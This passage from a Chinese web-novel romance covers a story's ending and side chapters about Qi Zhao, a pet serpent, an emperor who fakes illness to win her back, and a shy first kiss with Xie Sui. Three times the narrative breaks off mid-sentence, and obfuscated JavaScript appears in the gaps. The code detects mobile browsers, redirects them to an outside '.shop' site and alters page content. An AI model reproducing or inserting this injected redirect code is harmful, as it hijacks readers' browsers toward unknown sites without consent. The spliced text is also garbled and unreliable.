她亲手给安安换上一身崭新的锦缎小衣,料子柔软细腻,绣着乖巧的云纹,把小家伙衬得粉雕玉琢。又特意去书坊挑了好几本安安最爱的诗词小册子,纸张细腻、字迹清晰,安安抱着新书和新衣服,笑得眼睛都弯成了月牙。 忙完这些,祈昭终于想起了她最宝贝的小白。 她蹲在桌前,对着腕间盘着的小黑蛇认认真真盘算,要给这位蛇主子打造一个真正舒服的小屋子。 她让人寻来最上乘的沉香木,让工匠连夜赶制了一座迷你小木屋,雕着镂空的流云纹,里面铺着雪白的绒絮,角落还放了 tiny 的玉碗与软垫,精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261148|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 致得像个摆件。除此之外,她还特意让人做了一个巴掌大的雕花小盒子,透气又轻巧,正好能摆在她的书案上,往后她处理公务、看书的时候,小白就能安安稳稳待在盒子里,安安静静陪着她。 小黑蛇像是听懂了,慢悠悠抬起小脑袋,在她指尖轻轻蹭了蹭,浅金色的瞳眸里,映着满室温柔的光。 一旁的萧惊渊缩在远处,看着祈昭对一条蛇比对自己还上心,嘴角垮得能挂油壶,却又不敢靠近,只能委屈巴巴地远远看着。 至此,北冥府里—— 有宠爱的人,有乖巧的孩子,有忠心的下属,还有一条寸步不离的冷萌小黑蛇。 祈昭看着眼前的一切,轻轻弯起了唇角。 这才是她想要的,安稳又热闹的日子。 结局:长心安 春猎的喧嚣落尽,北冥府的日子,从此慢得温柔又安稳。 祈昭没有要江山,没有争权位,只守着自己一方王府,把日子过得热气腾腾。 腕间的小黑蛇小白依旧寸步不离,白日盘在她手腕上当最灵动的玉饰,夜里化作清冷的少年人形,静静守在她榻边。无人知晓他是跨越轮回寻主的青鸢,只当他是王爷养在身边、沉默又忠心的影子。他从不多言,只在她伏案疲惫时悄悄暖一盏茶,在她遇危时第一时间护在身前,用数百年的深情,换她一世无忧。 萧惊渊依旧常来北冥府,嘴上嫌弃府里有蛇,脚步却天天踏上门槛。他依旧怕小白怕到要命,每次都要先探头确认蛇不在跟前,才敢黏到祈昭身边,偶尔斗嘴,偶尔陪着处理公务,再也不提江山社稷,只守着这份安稳的陪伴。那个疯魔的姐姐萧惊月远在南疆,再没来打扰,姐弟俩的闹剧,终究成了过往笑谈。 谢随处理完安淮政务,也时常归来,依旧是那个沉稳可靠的安淮王,守在祈昭身侧,分寸得当,忠诚不改。他从不多争,只在她需要时出现,替她挡去风雨,护她周全。 安安在王府里一天天长大,穿着祈昭给做的新衣,读着心爱的诗词,乖巧懂事,成了府里最软的小暖阳。侍女仆役皆得厚待,府中上下和睦,再也没有半分冷寂。 云辞依旧在千洦宗潜心修行,青绿色长发束得挺拔,粉色眼眸愈发清亮。他凭着自学的天道秤,一步步站稳脚跟,无人再敢轻视那个五岁跪遍山门的孤子。他时常会来北冥府探望,不多打扰,只躬身道一句安好,看着祈昭安稳喜乐,便心满意足。 至于祈昭,她终于卸下了所有锋芒与防备。 不再是那个只能靠自己硬撑的北冥王,不再是无人问津的孤影。 她有了牵挂,有了陪伴,有了守着她的人,有了缠着她的蛇,有了一府温暖。 某个斜阳晚照的黄昏,她坐在书案前,小白蜷在案头的雕花小盒里,安安在一旁念诗,萧惊渊缩在安全距离外絮絮叨叨,谢随立在廊下静候。 风拂过庭院,花香漫进窗棂。 祈昭抬手,轻轻碰了碰小白微凉的鳞片,眼底是从未有过的平静与温柔。 这一生,她未求江山万里,未求权倾天下。 只求身边之人皆安,所爱之物皆暖,岁月悠长,再无离散。 而那些藏在轮回里的深情,刻在骨血里的守护,落在烟火里的陪伴, 终成了她此生,最安稳圆满的结局。 【全文完】 53. 王生来这样· 双王独鸣·番外 北冥府的安稳日子没过几日,一点鸡毛蒜皮的小事,便让祈昭和萧惊渊闹了场不大不小的矛盾。 不过是萧惊渊闲来无事,非要插手北冥府的内务,嫌她给下人赏赐太丰厚,又念叨她把心思都花在一条蛇身上,不懂得顾惜自己。祈昭本就烦他整日黏人又啰嗦,当下冷了脸,语气没半分客气:“我的银子,我的人,我爱怎么安排便怎么安排,陛下管得未免太宽了。” 萧惊渊贵为九五之尊,几时被人这般呛过,当即也沉了脸色:“朕是关心你!你倒好,句句都在赶朕!” “关心不必,陛下请回吧,北冥府小,容不下您这尊大佛。” 祈昭直接下了逐客令,连门都没让他多待,转身便进了内院。萧惊渊气得胸口发闷,甩袖而去,临走前撂下话,说再也不登北冥府的门。 两人这一闹,便是三日没见。 祈昭嘴上硬气,该处理的公务一样没落下,白日里装作毫不在意,夜里却总有些心神不宁。她没带小白,任由小蛇在府里的小木屋中安睡,自己则坐在案前,翻着书卷却一个字也看不进去。 直到第四日深夜,府外传来急促的叩门声,是皇宫里的贴身太监,慌慌张张地跪在门外,声音带着哭腔:“北冥王!陛下他……陛下他高热不退,昏迷不醒,太医都束手无策,嘴里一直念着您的名字啊!” 祈昭手里的茶杯“哐当”一声磕在案上,滚烫的茶水溅在手背上,她却浑然不觉。 心口像是被一只无形的手狠狠攥住,闷得发慌。 她猛地站起身,脸色瞬间冷白,嘴上却依旧硬邦邦的,不肯服软:“生病便找太医,找我做什么?我又不是大夫。” 话虽如此,脚步却已经往外走,披了件玄色披风,连护甲都没来得及戴。 “王爷,您就去看看吧!陛下真的很严重!”太监苦苦哀求。 祈昭翻身上马,缰绳一紧,语气依旧别扭:“我不过是去看看他是死是活,确认了便走,绝不多留。” 深夜的京城寒风刺骨,飘起了细碎的雪花,刮在脸上像刀子一样疼。祈昭策马狂奔,马蹄踏在结冰的路面上,溅起片片雪沫。她一路心乱如麻,脑子里全是萧惊渊平日里黏人又聒噪的样子,一想到他此刻躺在床上奄奄一息,心口就一阵阵发紧。 路上风雪越来越大,马儿几次打滑,险些将她摔下去。她勒紧马缰,在寒风中咬牙前行,平日里半柱香的路程,此刻却觉得无比漫长。沿途的街巷空无一人,只有风雪呼啸的声音,衬得她心头越发焦躁。 她嘴上骂着萧惊渊没用,一点风寒就能病倒,心里却早已把那点微不足道的矛盾,抛到了九霄云外。 直到冲进皇宫,踏入萧惊渊的寝殿,一股浓重的药味扑面而来。 殿内灯火昏暗,暖炉烧得极旺,却驱不散床上人的虚弱。萧惊渊躺在床上,平日里意气风发的九尺身躯,此刻蜷缩在厚厚的锦被里,脸色苍白得像纸,嘴唇干裂起皮,额头上覆着冷汗,眉头紧紧皱着,呼吸都带着沉重的热气,显然烧得糊涂。 祈昭站在殿门口,脚步顿住,看着他这副模样,心头那点仅剩的硬气,瞬间烟消云散。 守在一旁的太医见她来了,连忙上前行礼:“北冥王,您可算来了!陛下高热三日,一直喊着您的名字……” “知道了。”祈昭打断他,声音依旧冷淡,却带着藏不住的沙哑,“都退下吧,这里我来看着。” 太医们如蒙大赦,纷纷躬身退了出去,殿内只剩下她和昏睡的萧惊渊。 祈昭慢慢走到床边,居高临下地看着他,嘴硬道:“萧惊渊,我可只来看你一眼,确认你没死,我立刻就回北冥府,你可别指望我留下来照顾你。” 可话音刚落,床上的人似乎察觉到了什么,痛苦地闷哼了一声,睫毛轻轻颤抖,干裂的嘴唇里,断断续续吐出两个字:“……祈昭……” 那声音虚弱得像一缕烟,听得她心口一软。 她终究还是忍不住,伸手探了探他的额头,温度高得吓人。 祈昭叹了口气,再也顾不上什么矛盾别扭,弯腰坐在床边,拿起一旁拧好的冷帕子,轻轻覆在他的额头上。她动作笨拙却温柔,一点点擦拭着他脸上的冷汗,又端起药碗,用小勺一点点吹凉,试图喂他喝下。 就在这时,萧惊渊缓缓睁开了眼睛。 他烧得迷迷糊糊,视线模糊不清,看着眼前熟悉的身影,以为是自己病重产生了幻觉。 “祈昭……?”他声音沙哑干涩,带着不敢置信,“是你吗……还是朕在做梦?” 祈昭手一顿,没好气道:“不是我,是鬼。陛下看清楚了,我还活着,你也暂时死不了,我看完就走。” 可萧惊渊根本听不进她的冷言冷语。 他看清了眼前的人真的是她,是那个和他闹别扭、对他冷淡的祈昭,此刻正坐在床边照顾他。积压了三日的委屈、思念、害怕,瞬间涌上心头,全然不顾自己九五之尊的身份,也忘了自己九尺的高大身躯,猛地一用力,伸手就将她狠狠搂进了怀里。 他太高了,即便躺在床上,搂她的时候也像是将整个人都裹进了自己怀里,双臂紧紧箍着她的腰,力道大得几乎要将她嵌进骨血里。 “祈昭……你终于来了……” 他把脸埋在她的颈窝,滚烫的呼吸喷洒在她的肌肤上,声音哽咽,带着浓重的哭腔,完完全全变成了一个受了委屈的小娇夫,哪里还有半分皇帝的威严。 “朕以为……你再也不理朕了……以为你真的不管朕了……” 温热的眼泪砸在她的脖颈上,滚烫滚烫的,顺着衣领滑进去,烫得祈昭浑身一僵。 她想推开他,可手放在他的肩头,感受到他身体的颤抖和虚弱,却怎么也狠不下心。 “萧惊渊,你放开!”祈昭咬牙,“朕是来看你死活的,不是来听你哭的!” “朕不放!”他把她抱得更紧,像个耍赖的孩子,一边哭一边低头,在她的发顶、脸颊、唇角胡乱地亲着,动作带着病中的慌乱和珍惜,“朕错了……朕不该跟你吵架……不该惹你生气……你别离开朕……” 九尺高的堂堂大靖皇帝,此刻在她怀里哭得像个丢了糖的孩子,肩膀一抽一抽的,委屈得不行。 “朕好想你……三日没见你……朕难受……” “祈昭,别生气了好不好……朕再也不啰嗦了……再也不管你的事了……你别赶朕走……” 他哭唧唧地求饶,声音软糯又可怜,和平日里那个嚣张又黏人的样子判若两人,却又带着最真切的心意。 祈昭被他抱得动弹不得,颈间全是他的眼泪,听着他一句句委屈的告白,心里最后一道防线彻底崩塌。 她轻轻叹了口气,原本推拒的手,慢慢落在了他的后背,轻轻拍了拍,语气再也冷硬不起来,只剩下无奈的软意: “……别哭了,多大的人了,还哭成这样,像什么样子。” “朕不管……朕只要你……”萧惊渊吸了吸鼻子,依旧把她紧紧抱着,舍不得松开分毫,“你留下来陪朕……好不好……” 寝殿外风雪依旧,殿内却暖炉如春。 祈昭靠在他宽阔温暖的怀里,听着他急促又安心的心跳,感受着他失而复得的珍惜,终究是软了心肠。 什么矛盾,什么别扭,什么看一眼就走,在他生病脆弱的模样面前,全都成了空话。 她轻轻“嗯”了一声,声音轻得像雪落: “……我不走。” 萧惊渊瞬间止住了哭声,抱着她的力道又轻了几分,小心翼翼地收紧,仿佛抱着全世界最珍贵的宝物。 窗外的雪越下越大,殿内的暖意却越来越浓。 九尺高的帝王,在他心爱的人面前,卸下所有铠甲与威严,只余下最软的真心。 而向来冷硬的北冥王,终究还是败给了他的眼泪与依赖,心甘情愿,留在了他身边。 殿内的药香还弥漫在空气里,萧惊渊窝在被褥中,看似虚弱不堪,唯有他自己心里清楚——这场高热、这场缠绵病榻,从头到尾,全是他一手策划的苦肉计。 自从那日和祈昭闹了矛盾被赶出门,他日日守在宫墙内,等不到她半分探望,思来想去,竟想出了最笨也最有效的法子。夜里就寝时,他故意把暖炉挪远,裹得好好的锦被硬生生踢到床下,吹着窗缝漏进来的寒风;第二日上朝,明明大雪纷飞,他偏要少穿一件狐裘,只着单薄的朝服站在殿外,硬生生让冷风灌进衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261149|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 领,冻得浑身发抖。 就这么折腾了两日夜,好好的九五之尊,硬是把自己冻出了高热、冻得昏沉不醒,只为了逼得那个嘴硬心软的人,肯来看他一眼。 此刻祈昭坐在床边,冷着脸替他换额上的冷帕,他闭着眼装虚弱,心里却早已欢喜得翻江倒海——她来了,她真的来了,她还是舍不得他。 祈昭端过那碗黑漆漆、散发着苦涩气味的汤药,用勺子轻轻搅了搅,眉头皱得更紧:“药熬好了,喝了。” 她声音依旧带着之前的冷淡,可动作却放轻了不少,舀起一勺药汁,放在唇边轻轻吹凉,才递到他嘴边。 萧惊渊缓缓睁开眼,那双平日里明亮的眸子此刻蒙着一层水汽,看起来可怜兮兮的。他看着递到嘴边的药勺,却不张口,只是定定望着祈昭,嗓音沙哑又委屈,提出了一个过分的小要求: “祈昭……你亲朕一口,朕才喝一口。” 祈昭的手猛地一顿,脸上瞬间覆上一层薄怒,额角青筋都跳了跳。 她就知道,这家伙就算病成这样,也一肚子坏水! “萧惊渊,你别得寸进尺。”她咬牙低声道,“我是来照顾你,不是来陪你胡闹的。” “不亲……不喝。”他把头一歪,像个耍赖的孩子,干脆闭上眼,一副“你不亲我就绝药”的模样,“反正朕难受,不亲就不喝……” 祈昭看着他这副无赖样子,积压的火气瞬间上来了。 她懒得再跟他废话,干脆放下勺子,一手捏住他的下巴,强迫他抬起头,另一只手端起整碗药,二话不说,直接一股脑全灌进了他嘴里! “唔——!!” 萧惊渊猝不及防,满嘴全是苦涩的药汁,呛得连连咳嗽,眼泪都快被逼出来了。 祈昭把空碗狠狠往床头一放,冷声道:“喝完了?喝完了就给我滚蛋,我回北冥府了。” 她起身就要走,手腕却突然被人一把扣住。 下一秒,眼前天旋地转—— 原本躺在床上、病得连坐都坐不起来的萧惊渊,猛地掀开被子,直接站起身! 他哪里还有半分刚才虚弱无力、高热昏沉的样子?身姿挺拔,力道惊人,九尺高的身躯站在那里,气势十足,脸色也瞬间恢复了红润,哪里像个病人? 祈昭瞳孔一缩,瞬间反应过来,气得浑身发颤:“萧惊渊!你敢装病骗我?!” “是又如何?”萧惊渊低笑一声,语气里满是得逞的狡黠。 不等祈昭挣扎,他长臂一伸,直接将人打横扛在了肩上,动作干脆利落,半点不拖泥带水。 “你放开我!混蛋!”祈昭又气又羞,拳头砸在他背上,却像砸在棉花上,毫无用处。 萧惊渊充耳不闻,大步走到内殿的书案前,直接将她轻轻摁在了光滑的桌面上,俯身便将她整个人笼罩在自己的身影之下。 九尺的身高优势尽显,他微微低头,目光灼热地盯着她,眼底再无半分病弱,只剩下浓烈的爱意与占有欲。 “祈昭,你终于肯来见朕了。” 他低头,不等她开口,便低头覆上她的唇,带着失而复得的急切与温柔,一遍遍地乱亲着,从她的唇角、脸颊,到眉心、下颌,密密麻麻的吻落下来,带着滚烫的温度。 “朕不装病,你怎么肯理朕?” “朕不生病,你怎么肯留下来?” “朕不委屈,你怎么肯软下心肠?” 他一边亲,一边低声呢喃,语气里带着得逞的笑意,又藏着满满的委屈: “你跟朕闹别扭,三日不理朕,朕快疯了……” “朕只是想你,只是想让你多看朕一眼……” 祈昭被他摁在书桌上,躲无可躲,感受着他霸道又热烈的亲吻,听着他一句句直白的心意,所有的怒气、所有的别扭,在这一刻彻底溃不成军。 她抬手想推,却最终只是轻轻攥住了他的衣襟。 殿外风雪依旧,殿内暖意融融。 嘴硬的北冥王,终究栽在了这个会装病、会耍赖、会哭唧唧,却满心满眼都是她的九尺帝王手里。 萧惊渊抱着她,轻轻蹭着她的额头,低声笑道: “这下,你再也赶不走朕了。” 54. 王生来这样· 谢年前慕今·番外 立冬一至,京城便落了第一场寒雨,风里裹着刺骨的凉,吹得人缩紧了衣领。祈昭刚把府里的事安顿妥当,小白蜷在她亲手做的沉香木小屋里睡得安稳,萧惊渊被她寻了个由头丢在宫中处理奏折,正闹着小脾气,她却早已揣着谢随差人快马送来的请柬,一身轻便劲装,独自出了城。 谢随在信中说,安淮立冬不似京城萧瑟,湖山清寂,蟹肥菊黄,邀她前去小住几日,暂避王府与皇宫的纷扰,也好好歇一歇。 祈昭本就厌了连日的琐碎,二话不说应下,谁也没带,没带黏人的小白,没带甩不掉的萧惊渊,只孤身一人,策马往安淮而去。 一路行来,风越来越软,空气里少了京城的干冷,多了几分水乡的温润。立冬时节的官道两旁落木萧萧,金黄的叶子铺了满地,马蹄踏过,沙沙作响。她走得不快,沿途看遍了山野秋末入冬的景致,看炊烟袅袅升起,看农户围炉取暖,心里积攒的那点因萧惊渊装病骗她而生的闷气,竟也慢慢散了。 行至半途,天色渐暗,忽然下起了细密的冷雨,打湿了衣衫。祈昭寻了路边一间简陋的茶寮避雨,刚坐下,便有店家端上一碗滚烫的姜茶,暖得她指尖渐渐回温。 邻桌坐着几个赶路的客商,聊着安淮近来的安稳,说谢随王爷治理有方,立冬开仓放粮,百姓安居乐业,连渡口的商船都比往年多了几分。 祈昭握着茶碗,唇角不自觉弯了弯。 她与谢随相识多年,那人永远沉稳温和,分寸得当,从不会像萧惊渊那般耍赖黏人,也不会像小白那般沉默缠人,相处起来,最是清净自在。 雨势渐小,她重新上马,趁着暮色抵达安淮地界。 刚到城门口,便看见谢随一身素色锦袍,立在寒风中等候。他身姿挺拔,眉眼温润,见她孤身一人前来,眼底掠过一丝浅淡的笑意,上前一步,伸手稳稳扶住她下马的手。 “我还以为,你至少会带个随从。”谢随声音温和,接过她手中的马缰,递给身后的侍卫。 祈昭掸了掸衣袖上的雨珠,挑眉一笑:“不过是来游玩,何必兴师动众。何况,我只想清净几日。” 话里的意思,两人都心照不宣——躲开皇宫里那个装病骗妻的帝王,躲开王府里寸步不离的灵蛇,只做个暂时无牵无挂的北冥王。 谢随低笑一声,没有点破,只侧身引着她往城内走:“安淮不比京城繁华,却胜在安稳。立冬的安淮湖最是好看,我已备了小舟,明日带你去湖上看落日,还有你爱吃的蟹酿橙、醉虾,都让人备好了。” 祈昭心头一暖。 谢随永远这般细心,记得她所有的喜好,从不逾矩,也从不打扰。 两人并肩走在安淮的街道上,百姓见了谢随,纷纷躬身行礼,眼神里满是敬重,却无半分畏惧。街边的铺子挂着越冬的年货,暖黄的灯光从窗棂里透出来,香气四溢。 “你治理安淮,倒是治理得极好。”祈昭由衷赞叹。 “不过是尽本分而已。”谢随侧头看她,目光温柔,“你肯来,这里才算真的圆满。” 祈昭脚步微顿,随即笑了笑,岔开了话题:“先说好,我这次来,只玩不办公,你可别拿政务烦我。” “自然。”谢随应声,眼底笑意更深,“一切听你的。” 入夜,谢随安排她住在临湖的别院。庭院里种着几株耐寒的菊,开得正好,屋内烧着暖炉,暖意融融,没有皇宫的压抑,没有王府的琐碎,安安静静,只剩她一人。 祈昭推开窗,望着安淮湖沉沉的夜色,湖面泛着细碎的波光,风拂过,带着水汽的清凉。 她终于可以不用惦记萧惊渊会不会又耍小性子装病,不用操心小白会不会爬错地方,不用应付府里的琐事,只安安心心,享受这片刻的自在。 第二日天光大亮,谢随便来寻她。 两人乘一叶小舟漂在安淮湖上,舟中摆着热茶、鲜果,还有刚蒸好的肥蟹。阳光洒在湖面上,波光粼粼,岸边的芦苇随风轻晃,偶尔有飞鸟掠过,划破湖面的平静。 谢随执壶为她添茶,语气闲适:“京城近来,不太平静?” 祈昭抿了口茶,无所谓地耸耸肩:“还能如何,不过是某人闲得发慌,变着法子缠人罢了。” 她不用细说,谢随也懂。 那位九五之尊对她的心思,天下人皆知,只是祈昭向来嘴硬心软,才被那人吃得死死的。 “你既来了,便多住些日子。”谢随轻声道,“安淮永远是你的退路,只要你想,随时可以来。” 祈昭心头一震,抬眸看向他。 谢随的目光坦荡又温和,没有半分逾矩的情意,只有纯粹的守护与成全。 她笑了笑,举起茶杯:“多谢。” “不必言谢。”谢随与她轻轻碰杯,“只要你开心就好。” 立冬的风虽凉,湖上的日光却暖。 祈昭靠在船舷上,看着眼前的湖光山色,听着身边人温和的话语,心里一片澄明。 她这一生,有萧惊渊那样热烈偏执的爱意,有小白那样沉默执着的守护,也有谢随这样分寸得当、永远安稳的陪伴。 而此刻,她谁也不属于,只属于这安淮的立冬,属于这片刻的自由与清净。 萧惊渊在皇宫里等不到她的消息,急得团团转,却不知她在千里之外的安淮,正卸下所有身份与牵绊,安安心心做一回自己。 夜色一沉,安淮湖畔的别院便浸在温柔的灯火里,立冬的晚风带着水汽,轻轻拍打着窗棂。 祈昭在偏厅喝了半盏温酒,想着谢随说晚些带她去后院看新开的寒梅,左等右等不见人,便索性起身,径直往他的卧房走去。她素来随性惯了,又与谢随相识多年,毫无避忌之心,抬手连门都没敲,直接推门就闯了进去。 屋内烛火摇曳,暖意融融。 而眼前的一幕,让祈昭当场顿在原地,连呼吸都漏了半拍。 谢随正背对着她换衣,早已褪去了外袍与中衣,上身完□□露。 烛火落在他线条流畅的肩背,肌理紧实却不夸张,宽肩窄腰,脊背线条笔直利落,每一寸肌肉都生得恰到好处,劲瘦有力,是常年习武与理政沉淀下来的挺拔匀称,不见半分浮夸,却每一处都透着沉稳又极具冲击力的性感。 月光从窗缝漏进来,洒在他浅麦色的肌肤上,泛着一层温润的光。 祈昭眼睛瞬间亮了,心底直接炸开一句——我靠,这身材也太牛逼了吧?! 她活了这么多年,见惯了萧惊渊那种九尺高、气势张扬的帝王身形,却从没见过谢随这样清瘦却有料、禁欲又性感的身段,每一根线条都长在了她的审美上。 她站在原地,眼睛直勾勾地盯着,半点不避讳,甚至还下意识往前凑了两步,凑近了仔细打量。 下一秒,她更是毫无心理负担,抬手就朝他肩头摸了上去。 指尖刚一贴上那温热紧实的肌肤,祈昭心里还暗叹一句——手感也这么绝。 她是真半点不矜持,不要脸就不要脸了,好身材不摸白不摸。 谢随浑身一僵,猛地转过身。 四目相对的瞬间,他整个人都愣了,显然没料到她会突然闯进来,更没料到她会直接上手摸。 祈昭的手还贴在他肩头,仰着头,一脸坦荡又惊艳的样子,半点没有闯错房间、冒犯他人的自觉,甚至还想往他手臂的线条上再摸一把。 “谢随,你可以啊……藏这么好的身材。”她甚至还挑了挑眉,语气坦荡得不像话。 谢随的耳尖“唰”地一下就红了,从耳尖蔓延到脸颊,再到脖颈,连浅麦色的肌肤都染上了一层薄红。 他长这么大,从未与人如此亲近过,更从未被女子这般直白地打量、触碰,一时之间连呼吸都乱了节奏。 不等祈昭收回手,谢随猛地抬手,一把攥住了她还在作乱的手腕。 他的掌心温热,力道不轻不重,刚好将她的手扣在自己身前。 祈昭愣了一下,刚想开口调侃,就见谢随垂眸,呼吸微沉,竟缓缓将她的手,轻轻贴在了自己的脸颊上。 他的脸颊滚烫,睫毛轻颤,嘴唇微微蹭过她的指尖,动作轻得像一片羽毛,却带着让人心脏骤停的温柔。 祈昭的心跳,莫名漏了一拍。 下一秒,谢随空着的另一只手抬起,宽大温热的手掌,轻轻覆在了她的眼睛上,彻底遮住了她的视线。 他的声音压得很低,带着一丝不易察觉的颤抖,哑得温柔: “王,请闭眼。” 祈昭的眼睫轻轻颤动,扫过他的掌心,竟真的下意识听话地闭上了眼。 黑暗里,所有感官都被放大。 她能闻到他身上清浅的檀香,能感受到他掌心的温度,能听见他略显急促的心跳。 紧接着,一片极轻、极软、极小心翼翼的温热,轻轻碰在了她的唇上。 只是一瞬,像落雪吻过花瓣,像晚风拂过湖面,一碰即分,迅速收回。 快得仿佛只是错觉。 祈昭浑身一僵,整个人都懵在了原地。 谢随猛地收回手,后退半步,耳尖红得几乎要滴血,连脖颈都染上了绯红,平日里沉稳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261150|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温润的人,此刻整张脸通红通红,连眼神都不敢再与她对视,手足无措得像个第一次动情的少年。 他垂在身侧的手紧紧攥着,喉结滚动了一下,半天说不出一句话,只剩下满室的安静,和两人乱得一塌糊涂的心跳。 烛火轻轻摇曳,映着他通红的侧脸,也映着祈昭骤然睁大的眼睛。 立冬的晚风从窗外吹进来,带着一丝凉意,却怎么也吹不散,这房间里骤然升起的、滚烫又慌乱的暧昧。 谢随整个人还僵在原地,上身依旧未着寸缕,肩线绷得笔直,可那张向来温润沉静的脸,从脸颊红到耳根,再一路烧到脖颈,连耳尖都泛着熟透的薄红。 他垂在身侧的手紧紧攥起,指节微微泛白,眼神慌乱得不敢直视祈昭,只死死盯着地面,声音又轻又哑,带着几分无措,还有点近乎可怜的认真: “……这是我第一次。” 祈昭一怔,先是愣了愣,随即嘴角不受控制地往上扬,眼看就要笑出声——她从没见过这样手足无措、像被抓包的少年似的谢随。 可她笑意刚冒出来,下一秒,一只温热的手掌猛地覆了上来,死死捂住了她的嘴。 谢随几乎是急得凑上前,呼吸都乱了,眼底带着薄薄的慌乱,又带着点恳求,声音压得极低,带着一丝发颤: “不许笑。” 祈昭的眼睛弯成月牙,被捂着嘴,只能发出闷闷的气音,眼底的笑意藏都藏不住。 谢随看着她这副模样,心尖又慌又软,几乎是放软了全部姿态,低声哀求: “不许笑,王……求你了。” 他这一句“求你了”说得轻而郑重,带着几分窘迫,几分认真,还有几分连他自己都没察觉的委屈。 长这么大,他第一次对人动心,第一次主动靠近,第一次吻一个人,偏偏还是在这样狼狈的场景里,被她看得一清二楚。 他怕她笑,怕她觉得他笨拙,怕她觉得他唐突。 祈昭被他捂着嘴,眼底的笑意慢慢收了些,取而代之的是一丝怔忡,一丝异样的心跳。 她看着眼前满脸通红、手足无措却又死死护着自己最后一点体面的谢随。 谢随见祈昭眼底的笑意压都压不住,耳尖依旧烧得滚烫,终究是不忍心再捂着她,缓缓松开了覆在她唇上的手,垂着眼睫哑声说:“王想笑便笑吧,臣……不在意的。” 他话音刚落,已经做好了被她调侃打趣的准备,可祈昭非但没笑,反而清了清嗓子,别开眼故作镇定地开口:“笑什么,赶紧把衣服穿好,不是说后院的梅花开了?带我去赏梅。” 她说着就要转身,摆明了想把刚才那慌乱暧昧的一幕翻过去。 可谢随哪里肯就这样放过。 他好不容易鼓起勇气碰了她,好不容易把藏了多年的心思泄了一点出来,怎么甘心就这么被轻轻揭过。 不等祈昭迈开步子,谢随猛地伸手,一把握住了她的手腕,稍一用力,直接将人重新拉回了自己怀里。 他本就九尺上下的身形,宽肩窄腰,此刻上身未着寸缕,温热紧实的胸膛几乎贴着她的后背,带着清晰的心跳与体温,将她整个人圈在身前,牢牢锁在自己怀中。 祈昭猝不及防撞进他怀里,整个人都僵住:“谢随!你——” “王不想笑,也不想提,可臣……不想就这样算了。” 他的声音压得很低,哑得发颤,带着从未有过的执拗,脸颊依旧通红,却鼓起全部勇气,低头埋在她的颈侧。 他不会亲,也不懂那些缠绵的技巧,只凭着一腔笨拙又汹涌的心意,对着她的颈侧、耳垂、唇角,胡乱地轻咬轻蹭。 不是凶狠的咬,是轻轻的、带着试探与慌乱的啃咬,像不知所措的小兽,又像第一次动情的少年,把所有无措与喜欢,全都藏在这毫无章法的乱咬里。 齿尖轻轻擦过她的肌肤,带来一阵细微的麻痒,温热的呼吸洒在颈间,烫得祈昭浑身发软。 “你……你放开!”祈昭挣扎了一下,却被他抱得更紧。 “不放。”谢随咬着她的唇角,声音含糊又委屈,“王刚才摸臣的时候,不是很自在吗……现在怎么躲了。” 他耳尖红得快要滴血,动作却固执得很,依旧胡乱地咬着,从唇角到下颌,每一下都轻得小心翼翼,却又带着不容挣脱的力道。 立冬的晚风从窗缝钻进来,吹得烛火轻轻摇晃,映得满室暧昧滚烫。 向来温润守礼的谢随,此刻褪去了所有分寸,只凭着一腔孤勇,把自己最笨拙、最赤诚的心意,全数摊在了祈昭面前。 55. 苦冬·一 万归宗,六脉仙门,风雪如刃。 朽清门的晨钟,在山脊之间回荡,惊起一树又一树的雪。弟子们踏雪而起,剑鸣如潮,白练似银河倒挂。 后山,寒潭边。 青石上,宥鲤盘膝而坐,指尖捻着一枚冰蓝色的玉片。他的青丝半绾,用一条素白丝带系住,垂在肩头,衬得他肤色如温玉。浅茶色的眼眸像一汪冬水,平静到让人看不清底。 他的呼吸极轻,仿佛怕惊动什么——哪怕是雪落的声音。 一阵马蹄声自山道踏雪而来,清脆又张扬。 “小千浮。” 声音带着笑,像一把火,硬生生闯进这片冷色的世界。 宥鲤抬眼,看见严珩正大步走来。那人披着一件月白外袍,腰束玄铁宽带,衣襟半敞,露出分明的锁骨与古铜色的肌肤。他个子高,肩背宽,一靠近,寒气就被挡了个干净。 “你又来做什么?”宥鲤声音淡淡,连眼皮都没抬一下。 “来看看你啊。”严珩笑得痞气,“后山的风这么硬,我怕你这小身板被吹折了。” “我练剑,不练嘴。”宥鲤收剑,起身,指尖一拂,剑鞘上的雪尽数滑落。 严珩却不退,反而更靠近一步,低声道:“那你练剑,我练你。” “放肆。”宥鲤眸色一冷。 “我就放肆。”严珩笑得更明目张胆,“小千浮,你到底怕什么?怕我看穿你,还是怕你自己动心?” 宥鲤没答,只转身欲走。 “等等。”严珩忽然伸手,将他肩头的一片雪轻轻拂落,“你看,我多会照顾人。” 